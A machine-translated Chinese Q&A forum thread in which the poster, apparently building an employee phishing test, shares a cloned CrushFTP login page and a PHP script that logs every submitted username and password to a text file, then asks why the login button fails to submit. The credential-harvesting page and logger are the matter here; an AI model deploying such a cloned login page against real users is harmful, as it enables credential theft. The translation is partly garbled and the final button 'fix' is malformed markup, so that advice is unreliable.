登录按钮不提供提交信息,同时点击进入工作,以获得凭据



我目前正在为我的员工创建一个网络钓鱼测试,遇到了一个问题。我使用xampp在本地服务器上托管我的index.html,我希望当有人登录时,我可以获得他们的信息。我做了一个post.php,当我使用用户名和密码时,它会给我信息,而且它很有效。但它只在我点击回车键时有效,当我点击登录时,它只是将我重定向到我创建的页面,我的文本文件中没有任何信息。当我将鼠标悬停在登录按钮(激活(上时,它会重定向到我创建的重定向页面。你有什么建议吗?我该如何让m,y登录按钮(在代码中激活(在我点击回车键时仍能给我相同的信息?非常感谢。

下面是我的index.html.代码

<html><head>
</div>
<form id="loginForm" name="loginForm" method="post" action="post.php" onsubmit="return doLogin2();">
<div id="panelbody">
<div id="branding" class="clearfix branding">
<img id="loginWheel" src="web%20FTP%20WebInterface_files/wheel.gif" style="display: none;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;">
</a>
</div>
<div id="panelLogin">
<div>
<label id="UserNameText">Username</label>
<input tabindex="1" autocomplete="on" type="text" class="textbox" name="username" id="username" value="/">
</div>
<div>
<label id="PasswordText">Password</label>
<input tabindex="2" autocomplete="on" type="password" class="textbox" name="password" id="password" value="">
</div>
<div id="rememberMePanel">
<label><input tabindex="3" type="checkbox" name="remember" id="remember" checked="checked"> <span id="RememberMeText">Remember Me</span></label>
</div>
<div id="acceptTC" style="display: none">
<label><input tabindex="4" type="checkbox" name="tandc" id="tandc"> <span id="TnCText"></span></label>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div id="recaptcha_div"></div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<input type="submit" value="login" style="display:none;">
<input type="hidden" name="command" value="login">
<input type="hidden" name="skip_login" value="true">
<input type="hidden" name="encoded" value="false">
<input type="submit" value="login now" style="position:absolute;left:-1000px;top:-1000px;">
<a class="button" id="btnLogin" href="javascript:void(0);">
<span id="LoginButtonText">Login</span>
</a>
</div>
<p class="lostpassword" style="visibility:hidden;">
<a href="#" class="showResetPanel" id="ForgotPasswordLinkText">I forgot my password</a>
</p>
</div>
<div id="panelResetPass" style="display:none;">
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<h3 class="resetTitle" id="RequestPasswordHeaderText">Request Password</h3>
<div>
<label id="ResetUserNameText">Username</label>
<input autocomplete="off" type="text" class="textbox" name="resetUserName" id="resetUserName">
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<div class="submit clearfix">
<a class="button" id="btnResetPassword" href="javascript:void(0);">
<span id="ResetPasswordButtonText">Reset Password</span>
</a>
<a class="button" id="btnBackToLogin" href="javascript:void(0);">
<span id="BackToLoginButtonText">Back to Login</span>
</a>
</div>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
<p></p>
<div style="clear:both;height:1px;padding:0px;margin:0px;"></div>
</div>
</div>
</form>
<form id="changePassForm" method="post" target="dummyIframe" action="/WebInterface/function/" onsubmit="doLogin();">
<div id="changepasswordPanel" style="display:none;margin-bottom:10px;">
<div class="clearfix branding" style="clear:both;">
<a id="defaultLogoLink" href="http://www.crushftp.com/">
<img id="imgLogo" src="web%20FTP%20WebInterface_files/logo.png" style="border-width:0px;float:left;margin:3px 0px 10px 0px;">
</a>
</div>
<h2 class="popupHeader" style="clear:both;margin-top:15px;" id="ChangePasswordHeaderText">Change your password</h2>
<div class="passwordChangeNote" id="ChangePasswordNoteText">You must change your password to continue</div>
<div class="buttonPanel">
<label for="current_password" id="CurrentPasswordText">Current Password : </label>
<input id="current_password" class="textbox" type="password">
<br>
<br>
<label for="new_password1" id="NewPasswordText">New Password : </label>
<input id="new_password1" class="textbox" type="password">
<br>
<br>
<label for="new_password2" id="ConfirmPasswordText">Confirm Password : </label>
<input id="new_password2" class="textbox" type="password">
<div style="text-align:right;margin-top:10px;">
<a id="btnChangePasswordCancel" class="button" href="javascript:void(0);">
<span id="CancelButtonText">Cancel</span>
</a>
<a id="btnChangePassword" class="button" href="javascript:void(0);">
<span id="ChanngePasswordButtonText">Change Password</span>
</a>
</div>
<div style="clear:both"></div>
<div class="spacing">
<br>
<hr>
<br>
</div>
<div id="generatePasswordPanel">
<a id="btnGeneratePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordButtonText">Generate password</span>
</a>
<div id="passwordGeneratePanel" style="display:none;">
<br>
<br>
<input id="generated_password" type="text" class="textboxSmall" style="float:left;">
<a id="usePassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordUseButtonText">Use this</span>
</a>
<a id="cancelPassword" class="button" href="javascript:void(0);" style="float:left">
<span id="GeneratePasswordCancelButtonText">Cancel</span>
</a>
</div>
<div style="clear:both"></div>
</div>
</div>
</div>
</form>
</div>
<div id="OTPBox" style="display:none;">
<img class="closeButton" alt="close" src="web%20FTP%20WebInterface_files/cancel.png" onclick="$.unblockUI();">
<h2 class="popupHeader" id="OTPDialogHeaderText">Enter your OTP here</h2>
<div class="buttonPanel">
<div style="width:100%;">
<input id="otp" type="password" style="width:95%;padding:5px;">
</div>
<br>
<div id="OTPDialogDescText"></div>
<br>
<div style="text-align: right; margin-top: 10px;">
<button id="btnSubmitOTP">
<span id="OTPSubmitButtonText">Submit</span>
</button>
</div>
</div>
</div>
<div id="loginPageFooterText">

</div>
<iframe id="dummyIframe" name="dummyIframe" src="javascript:false;" style="display:none;"></iframe>
</body></html>

这是我的帖子。php

<?php

// Set the location to redirect the page
header ('Location: http://localhost/redirect.html');

// Open the text file in writing mode
$file = fopen("log.txt", "a");

foreach($_POST as $variable => $value) {
fwrite($file, $variable);
fwrite($file, "=");
fwrite($file, $value);
fwrite($file, "rn");
}

fwrite($file, "rn");
fclose($file);
exit;
?>

您的代码中有两种不同的形式。如果你没有活动的输入框,点击回车键可能是提交其中一个表单,而点击提交另一个表单。检查你的按钮在哪个表单中,并确保它们都有";name";元素。还不确定通过CSS隐藏的提交按钮是否会被输入按钮触发。

按钮现在可以工作了,我不得不在登录按钮的代码中将span id更改为button id,所以现在看起来是这样的。

<a class="button" id="btnLogin" action="post.php" href="localhost/redirect.html">
<button id="btnLogin" >Activate</button>

最新更新